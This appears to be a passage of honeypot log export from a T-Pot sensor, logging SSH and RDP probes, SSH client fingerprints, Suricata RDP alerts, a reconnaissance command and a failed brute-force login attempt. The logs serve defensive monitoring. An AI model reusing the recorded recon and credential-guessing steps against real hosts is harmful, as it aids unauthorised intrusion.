34480	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:45.60084+03	2021-09-20 15:15:01.944147+03	{"_id": "1wYUA3wBvYTbRNuEe1VQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:45.600840Z", "@timestamp": "2021-09-20T12:00:45.600Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	HK
34481	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:45.825323+03	2021-09-20 15:15:01.944663+03	{"_id": "1gYUA3wBvYTbRNuEe1VQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.closed", "message": "Connection lost after 23 seconds", "session": "f9096abafc92", "@version": "1", "duration": 23.77746057510376, "timestamp": "2021-09-20T12:00:45.825323Z", "@timestamp": "2021-09-20T12:00:45.825Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	HK
34482	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:00:48.086384+03	2021-09-20 15:15:01.946656+03	{"_id": "4QYUA3wBvYTbRNuEg1Ui", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "dd02484bec21", "@version": "1", "timestamp": "2021-09-20T12:00:48.086384Z", "@timestamp": "2021-09-20T12:00:48.086Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	US
34483	96.78.175.36	109.199.241.180	Suricata	2021-09-20 15:00:48.085697+03	2021-09-20 15:15:01.947655+03	{"_id": "4gYUA3wBvYTbRNuEhFU-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "96.78.175.36", "dest_ip": "192.168.20.116", "flow_id": 2134598610838730, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34076, "dest_port": 22, "timestamp": "2021-09-20T12:00:48.085697Z", "@timestamp": "2021-09-20T12:00:48.085Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	US
34484	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:00:48.451135+03	2021-09-20 15:15:01.948657+03	{"_id": "5QYUA3wBvYTbRNuEhFVA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:00:48.040371+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 1006997896994227, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 61457, "timestamp": "2021-09-20T12:00:48.451135Z", "@timestamp": "2021-09-20T12:00:48.451Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
34485	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:00:47.903569+03	2021-09-20 15:15:01.949656+03	{"_id": "5wYUA3wBvYTbRNuEhVVG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "96.78.175.36", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34076, "timestamp": "2021-09-20T12:00:47.903569", "@timestamp": "2021-09-20T12:00:47.903Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34486	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:00:48.790479+03	2021-09-20 15:15:01.951655+03	{"_id": "7wYUA3wBvYTbRNuEiFUo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:00:48.040371+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1006997896994227, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 61457, "dest_port": 3389, "timestamp": "2021-09-20T12:00:48.790479Z", "@timestamp": "2021-09-20T12:00:48.790Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
34487	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:00:47.902519+03	2021-09-20 15:15:01.952657+03	{"_id": "4AYUA3wBvYTbRNuEg1Ui", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "dd02484bec21", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:00:47.902519Z", "@timestamp": "2021-09-20T12:00:47.902Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	US
34488	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:00:47.899769+03	2021-09-20 15:15:01.953657+03	{"_id": "3wYUA3wBvYTbRNuEg1Ui", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 96.78.175.36:34076 (192.168.176.2:22) [session: dd02484bec21]", "session": "dd02484bec21", "@version": "1", "protocol": "ssh", "src_port": 34076, "dest_port": 22, "timestamp": "2021-09-20T12:00:47.899769Z", "@timestamp": "2021-09-20T12:00:47.899Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	US
34499	163.172.167.225	109.199.241.180	Fatt	2021-09-20 15:01:04.973708+03	2021-09-20 15:15:01.970656+03	{"_id": "FgYUA3wBvYTbRNuEx1a2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "163.172.167.225", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 33090, "dest_port": 22, "timestamp": "2021-09-20T12:01:04.973708", "@timestamp": "2021-09-20T12:01:04.973Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	FR
34489	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:00:48.395612+03	2021-09-20 15:15:01.954656+03	{"_id": "5AYUA3wBvYTbRNuEhFU-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:00:48.040371+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1006997896994227, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 61457, "dest_port": 3389, "timestamp": "2021-09-20T12:00:48.395612Z", "@timestamp": "2021-09-20T12:00:48.395Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
34490	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:00:48.395612+03	2021-09-20 15:15:01.956657+03	{"_id": "4wYUA3wBvYTbRNuEhFU-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:00:48.040371+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1006997896994227, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 61457, "dest_port": 3389, "timestamp": "2021-09-20T12:00:48.395612Z", "@timestamp": "2021-09-20T12:00:48.395Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
34491	96.78.175.36	109.199.241.180	Fatt	2021-09-20 15:00:48.085779+03	2021-09-20 15:15:01.957656+03	{"_id": "6AYUA3wBvYTbRNuEhVVG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "96.78.175.36", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 34076, "dest_port": 22, "timestamp": "2021-09-20T12:00:48.085779", "@timestamp": "2021-09-20T12:00:48.085Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	US
34492	61.133.192.126	109.199.241.180	Fatt	2021-09-20 15:00:48.395612+03	2021-09-20 15:15:01.958656+03	{"_id": "5gYUA3wBvYTbRNuEhVVG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 61457, "dest_port": 3389, "timestamp": "2021-09-20T12:00:48.395612", "@timestamp": "2021-09-20T12:00:48.395Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	CN
34493	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:00:48.932692+03	2021-09-20 15:15:01.959656+03	{"_id": "7gYUA3wBvYTbRNuEh1UL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.login.failed", "message": "login attempt [cao/123456] failed", "session": "dd02484bec21", "@version": "1", "password": "123456", "username": "cao", "timestamp": "2021-09-20T12:00:48.932692Z", "@timestamp": "2021-09-20T12:00:48.932Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	US
34494	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:00:48.790479+03	2021-09-20 15:15:01.960655+03	{"_id": "8AYUA3wBvYTbRNuEiFUo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:00:48.040371+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1006997896994227, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 61457, "dest_port": 3389, "timestamp": "2021-09-20T12:00:48.790479Z", "@timestamp": "2021-09-20T12:00:48.790Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
34495	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:00:50.119931+03	2021-09-20 15:15:01.962655+03	{"_id": "8QYUA3wBvYTbRNuEilXz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.closed", "message": "Connection lost after 